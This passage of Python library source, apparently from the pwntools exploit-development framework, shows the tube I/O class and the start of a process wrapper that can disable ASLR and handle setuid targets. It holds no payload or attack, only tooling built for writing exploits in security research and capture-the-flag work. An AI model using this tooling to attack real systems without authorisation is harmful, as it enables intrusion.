                    if start > j > -1:
                        start = j
                        end = j + len(d)
                if start < len(top):
                    self.unrecv(top[end:])
                    if drop:
                        top = top[:start]
                    else:
                        top = top[:end]
                    return ''.join(data) + top
                if len(top) > longest:
                    i = -longest - 1
                    data.append(top[:i])
                    top = top[i:]

        return ''

    def recvlines(self, numlines=2**20, keepends = False, timeout = default):
        r"""recvlines(numlines, keepends = False, timeout = default) -> str list

        Recieve up to ``numlines`` lines.

        A "line" is any sequence of bytes terminated by the byte sequence
        set by :attr:`newline`, which defaults to ``'\n'``.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Arguments:
            numlines(int): Maximum number of lines to receive
            keepends(bool): Keep newlines at the end of each line (``False``).
            timeout(int): Maximum timeout

        Raises:
            exceptions.EOFError: The connection closed before the request could be satisfied

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: '\n'
                >>> t.recvlines(3)
                ['', '', '']
                >>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
                >>> t.recvlines(3)
                ['Foo', 'Bar', 'Baz']
                >>> t.recvlines(3, True)
                ['Foo\n', 'Bar\n', 'Baz\n']
        """
        lines = []
        with self.countdown(timeout):
            for _ in xrange(numlines):
                try:
                    # We must set 'keepends' to True here so that we can
                    # restore the original, unmodified data to the buffer
                    # in the event of a timeout.
                    res = self.recvline(keepends=True, timeout=timeout)
                except Exception:
                    self.unrecv(''.join(lines))
                    raise

                if res:
                    lines.append(res)
                else:
                    break

        if not keepends:
            lines = [line.rstrip(self.newline) for line in lines]

        return lines

    def recvline(self, keepends = True, timeout = default):
        r"""recvline(keepends = True) -> str

        Receive a single line from the tube.

        A "line" is any sequence of bytes terminated by the byte sequence
        set in :attr:`newline`, which defaults to ``'\n'``.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Arguments:
            keepends(bool): Keep the line ending (``True``).
            timeout(int): Timeout

        Return:
            All bytes received over the tube until the first
            newline ``'\n'`` is received.  Optionally retains
            the ending.

        Examples:

            >>> t = tube()
            >>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
            >>> t.recvline()
            'Foo\n'
            >>> t.recvline()
            'Bar\r\n'
            >>> t.recvline(keepends = False)
            'Baz'
            >>> t.newline = '\r\n'
            >>> t.recvline(keepends = False)
            'Foo\nBar'
        """
        return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)

    def recvline_pred(self, pred, keepends = False, timeout = default):
        r"""recvline_pred(pred, keepends = False) -> str

        Receive data until ``pred(line)`` returns a truthy value.
        Drop all other data.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Arguments:
            pred(callable): Function to call.  Returns the line for which
                this function returns ``True``.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n"
                >>> t.recvline_pred(lambda line: line == "Bar\n")
                'Bar'
                >>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True)
                'Bar\n'
                >>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1)
                ''
        """

        tmpbuf = Buffer()
        line   = ''
        with self.countdown(timeout):
            while self.countdown_active():
                try:
                    line = self.recvline(keepends=True)
                except Exception:
                    self.buffer.add(tmpbuf)
                    raise

                if not line:
                    self.buffer.add(tmpbuf)
                    return ''

                if pred(line):
                    if not keepends:
                        line = line[:-len(self.newline)]
                    return line
                else:
                    tmpbuf.add(line)

        return ''

    def recvline_contains(self, items, keepends = False, timeout = default):
        r"""
        Receive lines until one line is found which contains at least
        one of `items`.

        Arguments:
            items(str,tuple): List of strings to search for, or a single string.
            keepends(bool): Return lines with newlines if ``True``
            timeout(int): Timeout, in seconds

        Examples:

            >>> t = tube()
            >>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
            >>> t.recvline_contains('r')
            'World'
            >>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
            >>> t = tube()
            >>> t.recv_raw = f
            >>> t.recvline_contains('pear')
            'apple pear orange'
            >>> t = tube()
            >>> t.recv_raw = f
            >>> t.recvline_contains(('car', 'train'))
            'bicycle car train'
        """
        if isinstance(items, (str,unicode)):
            items = (items,)

        def pred(line):
            return any(d in line for d in items)

        return self.recvline_pred(pred, keepends, timeout)

    def recvline_startswith(self, delims, keepends = False, timeout = default):
        r"""recvline_startswith(delims, keepends = False, timeout = default) -> str

        Keep recieving lines until one is found that starts with one of
        `delims`.  Returns the last line recieved.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Arguments:
            delims(str,tuple): List of strings to search for, or string of single characters
            keepends(bool): Return lines with newlines if ``True``
            timeout(int): Timeout, in seconds

        Returns:
            The first line received which starts with a delimiter in ``delims``.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
                >>> t.recvline_startswith(tuple('WXYZ'))
                'World'
                >>> t.recvline_startswith(tuple('WXYZ'), True)
                'Xylophone\n'
                >>> t.recvline_startswith('Wo')
                'World'
        """
        # Convert string into singleton tupple
        if isinstance(delims, (str, unicode)):
            delims = (delims,)

        return self.recvline_pred(lambda line: any(map(line.startswith, delims)),
                                  keepends=keepends,
                                  timeout=timeout)

    def recvline_endswith(self, delims, keepends = False, timeout = default):
        r"""recvline_endswith(delims, keepends = False, timeout = default) -> str

        Keep recieving lines until one is found that starts with one of
        `delims`.  Returns the last line recieved.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        See :meth:`recvline_startswith` for more details.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
                >>> t.recvline_endswith('r')
                'Bar'
                >>> t.recvline_endswith(tuple('abcde'), True)
                'Kaboodle\n'
                >>> t.recvline_endswith('oodle')
                'Kaboodle'
        """
        # Convert string into singleton tupple
        if isinstance(delims, (str, unicode)):
            delims = (delims,)

        delims = tuple(delim + self.newline for delim in delims)

        return self.recvline_pred(lambda line: any(map(line.endswith, delims)),
                                  keepends=keepends,
                                  timeout=timeout)

    def recvregex(self, regex, exact = False, timeout = default):
        """recvregex(regex, exact = False, timeout = default) -> str

        Wrapper around :func:`recvpred`, which will return when a regex
        matches the string in the buffer.

        By default :func:`re.RegexObject.search` is used, but if `exact` is
        set to True, then :func:`re.RegexObject.match` will be used instead.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.
        """

        if isinstance(regex, (str, unicode)):
            regex = re.compile(regex)

        if exact:
            pred = regex.match
        else:
            pred = regex.search

        return self.recvpred(pred, timeout = timeout)

    def recvline_regex(self, regex, exact = False, keepends = False, timeout = default):
        """recvregex(regex, exact = False, keepends = False, timeout = default) -> str

        Wrapper around :func:`recvline_pred`, which will return when a regex
        matches a line.

        By default :func:`re.RegexObject.search` is used, but if `exact` is
        set to True, then :func:`re.RegexObject.match` will be used instead.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.
        """

        if isinstance(regex, (str, unicode)):
            regex = re.compile(regex)

        if exact:
            pred = regex.match
        else:
            pred = regex.search

        return self.recvline_pred(pred, keepends = keepends, timeout = timeout)

    def recvrepeat(self, timeout = default):
        """recvrepeat()

        Receives data until a timeout or EOF is reached.

        Examples:

            >>> data = [
            ... 'd',
            ... '', # simulate timeout
            ... 'c',
            ... 'b',
            ... 'a',
            ... ]
            >>> def delayrecv(n, data=data):
            ...     return data.pop()
            >>> t = tube()
            >>> t.recv_raw = delayrecv
            >>> t.recvrepeat(0.2)
            'abc'
            >>> t.recv()
            'd'
        """

        try:
            while self._fillbuffer(timeout=timeout):
                pass
        except EOFError:
            pass

        return self.buffer.get()

    def recvall(self, timeout=Timeout.forever):
        """recvall() -> str

        Receives data until EOF is reached.
        """

        with self.waitfor('Recieving all data') as h:
            l = len(self.buffer)
            with self.local(timeout):
                try:
                    while True:
                        l = misc.size(len(self.buffer))
                        h.status(l)
                        if not self._fillbuffer():
                            break
                except EOFError:
                    pass
            h.success("Done (%s)" % l)
        self.close()

        return self.buffer.get()

    def send(self, data):
        """send(data)

        Sends data.

        If log level ``DEBUG`` is enabled, also prints out the data
        received.

        If it is not possible to send anymore because of a closed
        connection, it raises ``exceptions.EOFError``

        Examples:

            >>> def p(x): print repr(x)
            >>> t = tube()
            >>> t.send_raw = p
            >>> t.send('hello')
            'hello'
        """

        if self.isEnabledFor(logging.DEBUG):
            self.debug('Sent %#x bytes:' % len(data))
            if len(set(data)) == 1:
                self.indented('%r * %#x' % (data[0], len(data)))
            elif all(c in string.printable for c in data):
                for line in data.splitlines(True):
                    self.indented(repr(line), level = logging.DEBUG)
            else:
                self.indented(fiddling.hexdump(data), level = logging.DEBUG)
        self.send_raw(data)

    def sendline(self, line=''):
        r"""sendline(data)

        Shorthand for ``t.send(data + t.newline)``.

        Examples:

            >>> def p(x): print repr(x)
            >>> t = tube()
            >>> t.send_raw = p
            >>> t.sendline('hello')
            'hello\n'
            >>> t.newline = '\r\n'
            >>> t.sendline('hello')
            'hello\r\n'
        """

        self.send(line + self.newline)

    def sendlines(self, lines=[]):
        for line in lines:
            self.sendline(line)

    def sendafter(self, delim, data, timeout = default):
        """sendafter(delim, data, timeout = default) -> str

        A combination of ``recvuntil(delim, timeout)`` and ``send(data)``.
        """

        res = self.recvuntil(delim, timeout)
        self.send(data)
        return res

    def sendlineafter(self, delim, data, timeout = default):
        """sendlineafter(delim, data, timeout = default) -> str

        A combination of ``recvuntil(delim, timeout)`` and ``sendline(data)``."""

        res = self.recvuntil(delim, timeout)
        self.sendline(data)
        return res

    def sendthen(self, delim, data, timeout = default):
        """sendthen(delim, data, timeout = default) -> str

        A combination of ``send(data)`` and ``recvuntil(delim, timeout)``."""

        self.send(data)
        return self.recvuntil(delim, timeout)

    def sendlinethen(self, delim, data, timeout = default):
        """sendlinethen(delim, data, timeout = default) -> str

        A combination of ``sendline(data)`` and ``recvuntil(delim, timeout)``."""

        self.send(data + self.newline)
        return self.recvuntil(delim, timeout)

    def interactive(self, prompt = term.text.bold_red('$') + ' '):
        """interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')

        Does simultaneous reading and writing to the tube. In principle this just
        connects the tube to standard in and standard out, but in practice this
        is much more usable, since we are using :mod:`pwnlib.term` to print a
        floating prompt.

        Thus it only works in while in :data:`pwnlib.term.term_mode`.
        """

        self.info('Switching to interactive mode')

        go = threading.Event()
        def recv_thread():
            while not go.isSet():
                try:
                    cur = self.recv(timeout = 0.05)
                    cur = cur.replace('\r\n', '\n')
                    if cur:
                        sys.stdout.write(cur)
                        sys.stdout.flush()
                except EOFError:
                    self.info('Got EOF while reading in interactive')
                    break

        t = context.Thread(target = recv_thread)
        t.daemon = True
        t.start()

        try:
            while not go.isSet():
                if term.term_mode:
                    data = term.readline.readline(prompt = prompt, float = True)
                else:
                    data = sys.stdin.read(1)

                if data:
                    try:
                        self.send(data)
                    except EOFError:
                        go.set()
                        self.info('Got EOF while sending in interactive')
                else:
                    go.set()
        except KeyboardInterrupt:
            self.info('Interrupted')
            go.set()

        while t.is_alive():
            t.join(timeout = 0.1)

    def clean(self, timeout = 0.05):
        """clean(timeout = 0.05)

        Removes all the buffered data from a tube by calling
        :meth:`pwnlib.tubes.tube.tube.recv` with a low timeout until it fails.

        If ``timeout`` is zero, only cached data will be cleared.

        Note: If timeout is set to zero, the underlying network is
        not actually polled; only the internal buffer is cleared.

        Returns:

            All data received

        Examples:

            >>> t = tube()
            >>> t.unrecv('clean me up')
            >>> t.clean(0)
            'clean me up'
            >>> len(t.buffer)
            0
        """
        if timeout == 0:
            return self.buffer.get()

        return self.recvrepeat(timeout)

    def clean_and_log(self, timeout = 0.05):
        r"""clean_and_log(timeout = 0.05)

        Works exactly as :meth:`pwnlib.tubes.tube.tube.clean`, but logs recieved
        data with :meth:`pwnlib.self.info`.

        Returns:

            All data received

        Examples:

            >>> def recv(n, data=['', 'hooray_data']):
            ...     while data: return data.pop()
            >>> t = tube()
            >>> t.recv_raw      = recv
            >>> t.connected_raw = lambda d: True
            >>> t.fileno        = lambda: 1234
            >>> with context.local(log_level='info'):
            ...     data = t.clean_and_log() #doctest: +ELLIPSIS
            [DEBUG] Received 0xb bytes:
                'hooray_data'
            >>> data
            'hooray_data'
            >>> context.clear()
        """
        with context.local(log_level='debug'):
            return self.clean(timeout)

    def connect_input(self, other):
        """connect_input(other)

        Connects the input of this tube to the output of another tube object.


        Examples:

            >>> def p(x): print x
            >>> def recvone(n, data=['data']):
            ...     while data: return data.pop()
            ...     raise EOFError
            >>> a = tube()
            >>> b = tube()
            >>> a.recv_raw = recvone
            >>> b.send_raw = p
            >>> a.connected_raw = lambda d: True
            >>> b.connected_raw = lambda d: True
            >>> a.shutdown      = lambda d: True
            >>> b.shutdown      = lambda d: True
            >>> import time
            >>> _=(b.connect_input(a), time.sleep(0.1))
            data
        """

        def pump():
            import sys as _sys
            while self.countdown_active():
                if not (self.connected('send') and other.connected('recv')):
                    break

                try:
                    data = other.recv(timeout = 0.05)
                except EOFError:
                    break

                if not _sys:
                    return

                if not data:
                    continue

                try:
                    self.send(data)
                except EOFError:
                    break

                if not _sys:
                    return

            self.shutdown('send')
            other.shutdown('recv')

        t = context.Thread(target = pump)
        t.daemon = True
        t.start()

    def connect_output(self, other):
        """connect_output(other)

        Connects the output of this tube to the input of another tube object.

        Examples:

            >>> def p(x): print x
            >>> def recvone(n, data=['data']):
            ...     while data: return data.pop()
            ...     raise EOFError
            >>> a = tube()
            >>> b = tube()
            >>> a.recv_raw = recvone
            >>> b.send_raw = p
            >>> a.connected_raw = lambda d: True
            >>> b.connected_raw = lambda d: True
            >>> a.shutdown      = lambda d: True
            >>> b.shutdown      = lambda d: True
            >>> _=(a.connect_output(b), time.sleep(0.1))
            data
        """

        other.connect_input(self)

    def connect_both(self, other):
        """connect_both(other)

        Connects the both ends of this tube object with another tube object."""

        self.connect_input(other)
        self.connect_output(other)

    def spawn_process(self, *args, **kwargs):
        """Spawns a new process having this tube as stdin, stdout and stderr.

        Takes the same arguments as :class:`subprocess.Popen`."""

        return subprocess.Popen(
            *args,
            stdin = self.fileno(),
            stdout = self.fileno(),
            stderr = self.fileno(),
            **kwargs
        )

    def __lshift__(self, other):
        """
        Shorthand for connecting multiple tubes.

        See :meth:`connect_input` for more information.

        Examples:

            The following are equivalent ::

                tube_a >> tube.b
                tube_a.connect_input(tube_b)

            This is useful when chaining multiple tubes ::

                tube_a >> tube_b >> tube_a
                tube_a.connect_input(tube_b)
                tube_b.connect_input(tube_a)
        """
        self.connect_input(other)
        return other

    def __rshift__(self, other):
        """
        Inverse of the ``<<`` operator.  See :meth:`__lshift__`.

        See :meth:`connect_input` for more information.
        """
        self.connect_output(other)
        return other

    def __ne__(self, other):
        """
        Shorthand for connecting tubes to eachother.

        The following are equivalent ::

            a >> b >> a
            a <> b

        See :meth:`connect_input` for more information.
        """
        self << other << self

    def wait_for_close(self):
        """Waits until the tube is closed."""

        while self.connected():
            time.sleep(0.05)

    wait = wait_for_close

    def can_recv(self, timeout = 0):
        """can_recv(timeout = 0) -> bool

        Returns True, if there is data available within `timeout` seconds.

        Examples:

            >>> import time
            >>> t = tube()
            >>> t.can_recv_raw = lambda *a: False
            >>> t.can_recv()
            False
            >>> _=t.unrecv('data')
            >>> t.can_recv()
            True
            >>> _=t.recv()
            >>> t.can_recv()
            False
        """

        return bool(self.buffer or self.can_recv_raw(timeout))

    def settimeout(self, timeout):
        """settimeout(timeout)

        Set the timeout for receiving operations. If the string "default"
        is given, then :data:`context.timeout` will be used. If None is given,
        then there will be no timeout.

        Examples:

            >>> t = tube()
            >>> t.settimeout_raw = lambda t: None
            >>> t.settimeout(3)
            >>> t.timeout == 3
            True
        """

        self.timeout = timeout


    shutdown_directions = {
        'in':    'recv',
        'read':  'recv',
        'recv':  'recv',
        'out':   'send',
        'write': 'send',
        'send':  'send',
    }

    connected_directions = shutdown_directions.copy()
    connected_directions['any'] = 'any'

    def shutdown(self, direction = "send"):
        """shutdown(direction = "send")

        Closes the tube for futher reading or writing depending on `direction`.

        Arguments:
          direction(str): Which direction to close; "in", "read" or "recv"
            closes the tube in the ingoing direction, "out", "write" or "send"
            closes it in the outgoing direction.

        Returns:
          :const:`None`

        Examples:

            >>> def p(x): print x
            >>> t = tube()
            >>> t.shutdown_raw = p
            >>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
            recv
            recv
            recv
            send
            send
            send
            >>> t.shutdown('bad_value') #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"
        """
        try:
            direction = self.shutdown_directions[direction]
        except KeyError:
            raise KeyError('direction must be in %r' % sorted(self.shutdown_directions))
        else:
            self.shutdown_raw(self.shutdown_directions[direction])

    def connected(self, direction = 'any'):
        """connected(direction = 'any') -> bool

        Returns True if the tube is connected in the specified direction.

        Arguments:
          direction(str): Can be the string 'any', 'in', 'read', 'recv',
                          'out', 'write', 'send'.

        Doctest:

            >>> def p(x): print x
            >>> t = tube()
            >>> t.connected_raw = p
            >>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
            any
            recv
            recv
            recv
            send
            send
            send
            >>> t.connected('bad_value') #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']"
        """
        try:
            direction = self.connected_directions[direction]
        except KeyError:
            raise KeyError('direction must be in %r' % sorted(self.connected_directions))
        else:
            return self.connected_raw(direction)

    def __enter__(self):
        """Permit use of 'with' to control scoping and closing sessions.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> def p(x): print x
                >>> t.close = lambda: p("Closed!")
                >>> with t: pass
                Closed!
        """
        return self

    def __exit__(self, type, value, traceback):
        """Handles closing for 'with' statement

        See :meth:`__enter__`
        """
        self.close()

    # The minimal interface to be implemented by a child
    def recv_raw(self, numb):
        """recv_raw(numb) -> str

        Should not be called directly. Receives data without using the buffer
        on the object.

        Unless there is a timeout or closed connection, this should always
        return data. In case of a timeout, it should return None, in case
        of a closed connection it should raise an ``exceptions.EOFError``.
        """

        raise EOFError('Not implemented')

    def send_raw(self, data):
        """send_raw(data)

        Should not be called directly. Sends data to the tube.

        Should return ``exceptions.EOFError``, if it is unable to send any
        more, because of a close tube.
        """

        raise EOFError('Not implemented')

    def settimeout_raw(self, timeout):
        """settimeout_raw(timeout)

        Should not be called directly. Sets the timeout for
        the tube.
        """

        raise NotImplementedError()

    def timeout_change(self):
        """
        Informs the raw layer of the tube that the timeout has changed.

        Should not be called directly.

        Inherited from :class:`Timeout`.
        """
        try:
            self.settimeout_raw(self.timeout)
        except NotImplementedError:
            pass

    def can_recv_raw(self, timeout):
        """can_recv_raw(timeout) -> bool

        Should not be called directly. Returns True, if
        there is data available within the timeout, but
        ignores the buffer on the object.
        """

        raise NotImplementedError()

    def connected_raw(self, direction):
        """connected(direction = 'any') -> bool

        Should not be called directly.  Returns True iff the
        tube is connected in the given direction.
        """

        raise NotImplementedError()

    def close(self):
        """close()

        Closes the tube.
        """
        pass
        # Ideally we could:
        # raise NotImplementedError()
        # But this causes issues with the unit tests.

    def fileno(self):
        """fileno() -> int

        Returns the file number used for reading.
        """

        raise NotImplementedError()

    def shutdown_raw(self, direction):
        """shutdown_raw(direction)

        Should not be called directly.  Closes the tube for further reading or
        writing.
        """

        raise NotImplementedError()

    #: Alias for :meth:`recv`
    def read(self, *a, **kw): return self.recv(*a, **kw)
    #: Alias for :meth:`recvpred`
    def readpred(self, *a, **kw): return self.recvpred(*a, **kw)
    #: Alias for :meth:`recvn`
    def readn(self, *a, **kw): return self.recvn(*a, **kw)
    #: Alias for :meth:`recvuntil`
    def readuntil(self, *a, **kw): return self.recvuntil(*a, **kw)
    #: Alias for :meth:`recvlines`
    def readlines(self, *a, **kw): return self.recvlines(*a, **kw)
    #: Alias for :meth:`recvline`
    def readline(self, *a, **kw): return self.recvline(*a, **kw)
    #: Alias for :meth:`recvline_pred`
    def readline_pred(self, *a, **kw): return self.recvline_pred(*a, **kw)
    #: Alias for :meth:`recvline_contains`
    def readline_contains(self, *a, **kw): return self.recvline_contains(*a, **kw)
    #: Alias for :meth:`recvline_startswith`
    def readline_startswith(self, *a, **kw): return self.recvline_startswith(*a, **kw)
    #: Alias for :meth:`recvline_endswith`
    def readline_endswith(self, *a, **kw): return self.recvline_endswith(*a, **kw)
    #: Alias for :meth:`recvregex`
    def readregex(self, *a, **kw): return self.recvregex(*a, **kw)
    #: Alias for :meth:`recvline_regex`
    def readline_regex(self, *a, **kw): return self.recvline_regex(*a, **kw)
    #: Alias for :meth:`recvrepeat`
    def readrepeat(self, *a, **kw): return self.recvrepeat(*a, **kw)
    #: Alias for :meth:`recvall`
    def readall(self, *a, **kw): return self.recvall(*a, **kw)

    #: Alias for :meth:`send`
    def write(self, *a, **kw): return self.send(*a, **kw)
    #: Alias for :meth:`sendline`
    def writeline(self, *a, **kw): return self.sendline(*a, **kw)
    #: Alias for :meth:`sendafter`
    def writeafter(self, *a, **kw): return self.sendafter(*a, **kw)
    #: Alias for :meth:`sendlineafter`
    def writelineafter(self, *a, **kw): return self.sendlineafter(*a, **kw)
    #: Alias for :meth:`sendthen`
    def writethen(self, *a, **kw): return self.sendthen(*a, **kw)
    #: Alias for :meth:`sendlinethen`
    def writelinethen(self, *a, **kw): return self.sendlinethen(*a, **kw)

    def p64(self, *a, **kw):        return self.send(packing.p64(*a, **kw))
    def p32(self, *a, **kw):        return self.send(packing.p32(*a, **kw))
    def p16(self, *a, **kw):        return self.send(packing.p16(*a, **kw))
    def p8(self, *a, **kw):         return self.send(packing.p8(*a, **kw))
    def pack(self, *a, **kw):       return self.send(packing.pack(*a, **kw))

    def u64(self, *a, **kw):        return packing.u64(self.recvn(8), *a, **kw)
    def u32(self, *a, **kw):        return packing.u32(self.recvn(4), *a, **kw)
    def u16(self, *a, **kw):        return packing.u16(self.recvn(2), *a, **kw)
    def u8(self, *a, **kw):         return packing.u8(self.recvn(1), *a, **kw)
    def unpack(self, *a, **kw):     return packing.unpack(self.recvn(context.bytes), *a, **kw)

    def flat(self, *a, **kw):       return self.send(packing.flat(*a,**kw))






import ctypes
import errno
import fcntl
import logging
import os
import pty
import resource
import select
import subprocess
import tty

from ..context import context
from ..log import getLogger
from ..qemu import get_qemu_user
from ..timeout import Timeout
from ..util.misc import parse_ldd_output
from ..util.misc import which
from .tube import tube

log = getLogger(__name__)

PIPE = subprocess.PIPE
STDOUT = subprocess.STDOUT

class PTY(object): pass
PTY=PTY()

class process(tube):
    r"""
    Spawns a new process, and wraps it with a tube for communication.

    Arguments:
        argv(list):
            List of arguments to pass to the spawned process.
        shell(bool):
            Set to `True` to interpret `argv` as a string
            to pass to the shell for interpretation instead of as argv.
        executable(str):
            Path to the binary to execute.  If ``None``, uses ``argv[0]``.
            Cannot be used with ``shell``.
        cwd(str):
            Working directory.  Uses the current working directory by default.
        env(dict):
            Environment variables.  By default, inherits from Python's environment.
        timeout(int):
            Timeout to use on ``tube`` ``recv`` operations.
        stdin(int):
            File object or file descriptor number to use for ``stdin``.
            By default, a pipe is used.  A pty can be used instead by setting
            this to ``process.PTY``.  This will cause programs to behave in an
            interactive manner (e.g.., ``python`` will show a ``>>>`` prompt).
            If the application reads from ``/dev/tty`` directly, use a pty.
        stdout(int):
            File object or file descriptor number to use for ``stdout``.
            By default, a pty is used so that any stdout buffering by libc
            routines is disabled.
            May also be ``subprocess.PIPE`` to use a normal pipe.
        stderr(int):
            File object or file descriptor number to use for ``stderr``.
            By default, ``stdout`` is used.
            May also be ``subprocess.PIPE`` to use a separate pipe,
            although the ``tube`` wrapper will not be able to read this data.
        close_fds(bool):
            Close all open file descriptors except stdin, stdout, stderr.
            By default, ``True`` is used.
        preexec_fn(callable):
            Callable to invoke immediately before calling ``execve``.
        raw(bool):
            Set the created pty to raw mode (i.e. disable echo and control
            characters).  ``True`` by default.  If no pty is created, this
            has no effect.
        aslr(bool):
            If set to ``False``, disable ASLR via ``personality`` (``setarch -R``)
            and ``setrlimit`` (``ulimit -s unlimited``).

            This disables ASLR for the target process.  However, the ``setarch``
            changes are lost if a ``setuid`` binary is executed.

            The default value is inherited from ``context.aslr``.
            See ``setuid`` below for additional options and information.
        setuid(bool):
            Used to control `setuid` status of the target binary, and the
            corresponding actions taken.

            By default, this value is ``None``, so no assumptions are made.

            If ``True``, treat the target binary as ``setuid``.
            This modifies the mechanisms used to disable ASLR on the process if
            ``aslr=False``.
            This is useful for debugging locally, when the exploit is a
            ``setuid`` binary.

            If ``False``, prevent ``setuid`` bits from taking effect on the
            target binary.  This is only supported on Linux, with kernels v3.5
            or greater.
        where(str):
            Where the process is running, used for logging purposes.
        display(list):
            List of arguments to display, instead of the main executable name.

    Attributes:
        proc(subprocess)

    Examples:

        >>> p = process('python2')
        >>> p.sendline("print 'Hello world'")
        >>> p.sendline("print 'Wow, such data'");
        >>> '' == p.recv(timeout=0.01)
        True
        >>> p.shutdown('send')
        >>> p.proc.stdin.closed
        True
        >>> p.connected('send')
        False
        >>> p.recvline()
        'Hello world\n'
        >>> p.recvuntil(',')
        'Wow,'
        >>> p.recvregex('.*data')
        ' such data'
        >>> p.recv()
        '\n'
        >>> p.recv() # doctest: +ELLIPSIS
        Traceback (most recent call last):
        ...
        EOFError

        >>> p = process('cat')
        >>> d = open('/dev/urandom').read(4096)
        >>> p.recv(timeout=0.1)
        ''
        >>> p.write(d)
        >>> p.recvrepeat(0.1) == d
        True
        >>> p.recv(timeout=0.1)
        ''
        >>> p.shutdown('send')
        >>> p.wait_for_close()
        >>> p.poll()
        0

        >>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null', 'w+'))
        >>> p.recv()
        '\x00\x00\x00\x00\x00\x00\x00\x00'

        >>> p = process(['python','-c','import os; print os.read(2,1024)'],
        ...             preexec_fn = lambda: os.dup2(0,2))
        >>> p.sendline('hello')
        >>> p.recvline()
        'hello\n'

        >>> stack_smashing = ['python','-c','open("/dev/tty","wb").write("stack smashing detected")']
        >>> process(stack_smashing).recvall()
        'stack smashing detected'

        >>> PIPE=subprocess.PIPE
        >>> process(stack_smashing, stdout=PIPE).recvall()
        ''

        >>> getpass = ['python','-c','import getpass; print getpass.getpass("XXX")']
        >>> p = process(getpass, stdin=process.PTY)
        >>> p.recv()
        'XXX'
        >>> p.sendline('hunter2')
        >>> p.recvall()
        '\nhunter2\n'

        >>> process('echo hello 1>&2', shell=True).recvall()
        'hello\n'

        >>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
        ''

        >>> a = process(['cat', '/proc/self/maps']).recvall()
        >>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
        >>> with context.local(aslr=False):
        ...    c = process(['cat', '/proc/self/maps']).recvall()
        >>> a == b
        False
        >>> b == c
        True

        >>> process(['sh','-c','ulimit -s'], aslr=0).recvline()
        'unlimited\n'
    """

    PTY = PTY

    #: Have we seen the process stop?
    _stop_noticed = False

    def __init__(self, argv,
                 shell = False,
                 executable = None,
                 cwd = None,
                 env = None,
                 timeout = Timeout.default,
                 stdin  = PIPE,
                 stdout = PTY,
                 stderr = STDOUT,
                 level = None,
                 close_fds = True,
                 preexec_fn = lambda: None,
                 raw = True,
                 aslr = None,
                 setuid = None,
                 where = 'local',
                 display = None):
        super(process, self).__init__(timeout, level = level)

        #: `subprocess.Popen` object
        self.proc = None

        if not shell:
            executable, argv, env = self._validate(cwd, executable, argv, env)

        # Permit invocation as process('sh') and process(['sh'])
        if isinstance(argv, (str, unicode)):
            argv = [argv]

        # Avoid the need to have to deal with the STDOUT magic value.
        if stderr is STDOUT:
            stderr = stdout

        # Determine which descriptors will be attached to a new PTY
        handles = (stdin, stdout, stderr)

        #: Which file descriptor is the controlling TTY
        self.pty          = handles.index(PTY) if PTY in handles else None

        #: Whether the controlling TTY is set to raw mode
        self.raw          = raw

        #: Whether ASLR should be left on
        self.aslr         = aslr if aslr is not None else context.aslr

        #: Whether setuid is permitted
        self._setuid      = setuid if setuid is None else bool(setuid)

        # Create the PTY if necessary
        stdin, stdout, stderr, master, slave = self._handles(*handles)

        #: Full path to the executable
        self.executable = executable

        #: Arguments passed on argv
        self.argv = argv

        #: Environment passed on envp
        self.env = os.environ if env is None else env

        #: Directory the process was created in
        self.cwd          = cwd or os.path.curdir

        self.preexec_fn = preexec_fn
        self.display    = display or self.program

        message = "Starting %s process %r" % (where, self.display)

        if self.isEnabledFor(logging.DEBUG):
            if self.argv != [self.executable]: message += ' argv=%r ' % self.argv
            if self.env  != os.environ:        message += ' env=%r ' % self.env

        with self.progress(message) as p:

            if not self.aslr:
                log.warn_once("ASLR is disabled!")

            # In the event the binary is a foreign architecture,
            # and binfmt is not installed (e.g. when running on
            # Travis CI), re-try with qemu-XXX if we get an
            # 'Exec format error'.
            prefixes = [([], executable)]
            executables = [executable]
            exception = None

            try:
                if not context.native:
                    qemu = get_qemu_user()
                    prefixes.append(([qemu], qemu))
            except: pass

            for prefix, executable in prefixes:
                try:
                    self.proc = subprocess.Popen(args = prefix + argv,
                                                 shell = shell,
                                                 executable = executable,
                                                 cwd = cwd,
                                                 env = env,
                                                 stdin = stdin,
                                                 stdout = stdout,
                                                 stderr = stderr,
                                                 close_fds = close_fds,
                                                 preexec_fn = self.__preexec_fn)
                    break
                except OSError as exception:
